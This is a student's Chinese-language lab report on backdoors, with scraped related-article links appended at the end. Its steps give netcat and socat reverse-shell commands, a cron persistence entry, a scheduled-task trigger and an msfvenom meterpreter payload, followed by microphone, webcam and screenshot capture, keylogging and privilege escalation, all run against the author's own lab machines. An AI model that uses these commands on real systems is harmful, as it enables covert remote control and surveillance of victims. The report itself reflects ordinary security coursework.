20164319 刘蕴哲 Exp2 后门原理与实践
【后门概念】
后门就是不经过正常认证流程而访问系统的通道。
特指潜伏于操作系统中专门做后门的一个程序,而“坏人”可以连接这个程序远程执行各种指令。
(概念和木马有重叠)
【学习内容】
使用nc实现win,mac,Linux间的后门连接
meterpreter的应用
MSF POST 模块的应用
【实验内容】
[首先得有这么一个程序]
NC 或 netcat
得放到系统里
还得运行起来
最后还得不被本机的恶意代码检测程序发现,也不能被本机的或网络上的防火墙发现
所以按照以上步骤将实验分为以下几步:
[part1]使用nc或netcat远程获取shell
①win获得Linux shell
在windows系统中打开监听并且获得Linux Shell
在windows系统中打开cmd命令行窗口,键入
ipconfig
查询windows的IP地址为"192.168.75.1"

然后将之前下载的监听程序ncat.exe解压在桌面上,进入命令行,cd进入桌面Desktop,输入指令
ncat.exe -l -p

监听端口4319,等待其他机器连接。
然后在kali中用windows的ip和连接端口号反弹连接,给出shell权限:
nc 192.168.75.1 -e /bin/sh

这样,获得执行权限的windows就可以执行linux相关命令"ls"

②Linux获得Windows Shell
在kali中键入命令
ifconfig

查询linux系统的IP地址为192.168.64.134,然后在linux中用nc命令直接设置监听本地4319端口(Linux一般自带netcat)
nc -l -p

在windows系统的命令行窗口中利用linux的ip反弹连接,提供自己的shell:
ncat.exe -e cmd.exe 192.168.64.134

同理,切换到linux下看到Windows的命令提示,获得windows的shell,可执行指令"dir"

③nc传输数据
用windows监听端口4319
ncat.exe -l 4319

同时kali连接win7的4319端口
nc 192.168.75.1 4319

然后传输通道建立,可以在windows和linux系统之间通过窗口进行"对话"(传输信息的复制)

(这是linux界面)

(这是windows界面)
[part2]利用netcat获取主机shell,设置cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
在windows系统监听端口
ncat.exe -l -p

使用crontab指令增加一条定时任务
crontab -e
然后输入“3”进入编辑模式

在最后添加一条定时连接win端口的指令
* * * * /bin/netcat 192.16875.. -e /bin/sh

当前时间为43分,为了方便测试我设置成离得近的时间节点——每小时的第45分钟,连接IP为192.168.75.1的4319端口
crontab -l
可查看配置的任务如下

然后在windows系统下调出cmd,测试到了45分时,成功获取linux的shell,执行“ls”命令

(呃,忘记截时间了,没关系哈哈哈,反正是到了45分就能执行ls命令)
[part3]使用socat获取主机操作Shell, 任务计划启动
在Windows系统下,打开控制面板搜索“任务计划程序”,然后在右侧菜单栏中选择“创建任务”,任务名称“4319”,新建触发器,选择开始任务时间为:工作站锁定时。


新建操作,选择启动的程序为socat.exe,参数项填为
tcp-listen: exec:cmd.exe,pty,stderr

然后锁定计算机,打开后查看程序运行状态(这里我的锁定之后没有自动运行,我是手动点运行来启动的)

在kali终端输入
socat - tcp:192.168.75.1:
[part4]使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在linux端生成后门程序4319_backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.134 LPORT= -f exe > 4319_backdoor.exe

通过nc指令将生成的后门程序传送到Windows主机上,并运行ncat命令,等待接收后门程序4319_backdoor.exe
ncat.exe -lv > 4319_backdoor.exe

kali上运行ncat命令,传输4319_backdoor.exe到windows主机上
nc 192.168.75.1 < 4319_backdoor.exe
在win端命令行显示传输成功

确实传输了一个后门程序在桌面上(我也不知道为什么没传进文件夹里???)

在msf端控制台设置反弹回连,在kali上输入指令进入msf控制台
msfconsole

(follow the white rabbit哈哈哈还挺有意思)

然后就开始干正事了(严肃)
配置payload,设置如下
use exploit/multi/handler //使用handler模块 set payload windows/meterpreter/reverse_tcp //设置载荷,字面意思应该是基于TCP的反向连接反弹windows shell show options //查看利用模块的设置信息 set LHOST 192.168.64.134 //接下来的两个set是配置模块的设置信息,这里是设置本主机kali的IP set LPORT //设置本主机的端口 show options //再次查看一下options,确保设置正确 exploit //运行模块
首先配置模块、载荷并查看

此时端口和ip还未设置,“required”选项下为“yes”的表示需要设置,所以接下来我们设置主机IP(设置为linux的ip)、端口

再次查看确认
show options

确认无误,可以放心进行下一步啦!启用模块

第一次启用模块出了点问题,怀疑是我传输到桌面的后台程序没启用,在windows端上用控制台cmd运行一下

这下知道了,是后台程序被占用了,应该是上一次实验调用该程序的控制台窗口没关闭,关掉再试一下

这下成功了,切换到linux端,发现成功获得了windows的连接,并且得到了远程控制的shell,可执行相关命令

(可以看到我桌面上的文件全部都能显示出来,真可怕)
[part5]使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
由上面的exploit操作,已经获得shell,接下来,尝试获取目标主机音频、摄像头、击键记录等内容
①获取目标主机音频、截屏内容
record_mic //音频 screenshot //截屏

成功获取文件之后可以在文件主目录中看到

②获取摄像头所拍摄相片(第一次没开启摄像头,拍了个全黑的,调好了就能连接上摄像头了)

(还好有前车之鉴,把脸挡住了)

③获取击键记录
keyscan_start
在win7上用键盘输入之后

在kali上输入指令可获取击键记录
keyscan_dump

④提权
看当前用户
getuid
然后进行提权
getsystem

然而提权失败了(发现原来是需要以管理员身份运行后门程序4319_backdoor.exe)

捣鼓了好几遍

总算好了
【实验感悟】
通过本次实验,除了使我认识到了后台程序的基本运作原理和机制之外,还令我深切体会到了后台程序的可怕,可以获取shell权限,监听受控主机的摄像头和音频设备,甚至获取击键记录(看来以后要增强安全防护意识)。最后,总结一下实验过程中出现的很多问题,因为实验涉及两个终端和系统来回切换,导致我开了一堆后台程序(想关又不敢关),有的窗口关错了可能就导致后台程序调用失败,或者重复占用导致无法获取shell的情况,经过反复总结之后发现我以后面对这种情况还是要灵活应对,冷静分析问题。最后获取权限的时候也出了一堆问题,试了好几遍都没成功,然后不知道试了几遍之后莫名其妙就成功了....(说起来最有意思的部分还是获取音频截屏和摄像头权限了)整体上来看本次实验让我对后台软件4319_backdoor.exe的能实现的操作,做了深入的了解和掌握,包括怎么植入程序,怎么获取shell权限,怎么进入console配置ip和端口,用指令调取权限。
20164319 刘蕴哲 Exp2 后门原理与实践的更多相关文章
- 20145304 刘钦令 Exp2 后门原理与实践
		
20145304 刘钦令 Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 浏览网页时,或许会触发网站中隐藏的下载代码,将后门程序下载到默认地址. 下载的 ...
 - 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
		
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
 - 20145303刘俊谦《网络对抗》Exp2 后门原理与实践
		
20145303刘俊谦<网络对抗>Exp2 后门原理与实践 基础问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? •在网页上浏览不安全的网站或者下载不安全的软件 •通过发送邮 ...
 - 20145209刘一阳《网络对抗》Exp2 后门原理与实践
		
20145209刘一阳<网络对抗>Exp2 后门原理与实践 基础问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? •在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中: ...
 - 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
		
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
 - 20155324《网络对抗》Exp2 后门原理与实践
		
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
 - 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
		
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
 - 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
		
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
 - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
		
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
 
随机推荐
- 微信公众号生成带参数的二维码asp源码下载
			
晚上闲着没事,一个朋友联系,让帮忙写一个微信公众号利用asp生成带参数的二维码,别人扫了后如果已经关注过该公众号的,则直接进入公众号里,如果没关注则提示关注,关注后自动把该微信用户资料获取到并且保存入 ...
 - Jquery 正则式验证
			
// 验证中文名称 function isChinaName(name) { var pattern = /^[\u4E00-\u9FA5]{1,6}$/; return pattern.test(n ...
 - React Native仿京东客户端实现(首页 分类 发现 购物车 我的)五个Tab导航页面
			
1.首先创建 这几个文件 myths-Mac:JdApp myth$ yarn add react-native-tab-navigator 2.各个文件完整代码 1)CartPage.js imp ...
 - C语言博客作业4--数组
			
C语言博客作业4--数组 1.本章学习总结 1.1思维导图 请以思维导图总结本周的学习内容,如下图所示: 1.2本章学习体会及代码量学习体会 1.2.1学习体会 描述本周学习感受,也可以在这里提出你不 ...
 - mysql的基本操作笔记
			
环境:已安装MySQL5.7.18,上一篇文章:Windows下安装MySQL5.7.18的方法 登录方式一: mysql -h 127.0.0.1 -u root -p -h:当连接MySQL服务器 ...
 - PHP原生写的生成图片缩略图类
			
PHP原生写的生成图片缩略图类,本文以京东商品图片为例,分别生成三种不同尺寸的图片.调用方法很简单只要传参数高度和宽度,及新图片的名称. 引入缩略图类 include_once 'ImageResiz ...
 - windows快速搭建FTP工具Serv-U FTP Server
			
本文介绍一个简单的FTP工具,当然windows系统自带FTP工具,但是配置方法没有第三方工具来的简单可操作性好. 此工具用于搭建FTP环境,对于需要测试FTP上传功能具有极大帮助.例如球机抓拍图片上 ...
 - c#中委托和事件(转)
			
C# 中的委托和事件 引言 委托 和 事件在 .Net Framework中的应用非常广泛,然而,较好地理解委托和事件对很多接触C#时间不长的人来说并不容易.它们就像是一道槛儿,过了这个槛的人,觉得真 ...
 - 对抗生成网络-图像卷积-mnist数据生成(代码) 1.tf.layers.conv2d(卷积操作) 2.tf.layers.conv2d_transpose(反卷积操作) 3.tf.layers.batch_normalize(归一化操作) 4.tf.maximum(用于lrelu) 5.tf.train_variable(训练中所有参数) 6.np.random.uniform(生成正态数据
			
1. tf.layers.conv2d(input, filter, kernel_size, stride, padding) # 进行卷积操作 参数说明:input输入数据, filter特征图的 ...
 - BitmapData.threshold()方法
			
import flash.display.Bitmap; import flash.display.BitmapData; import flash.geom.Rectangle; import fl ...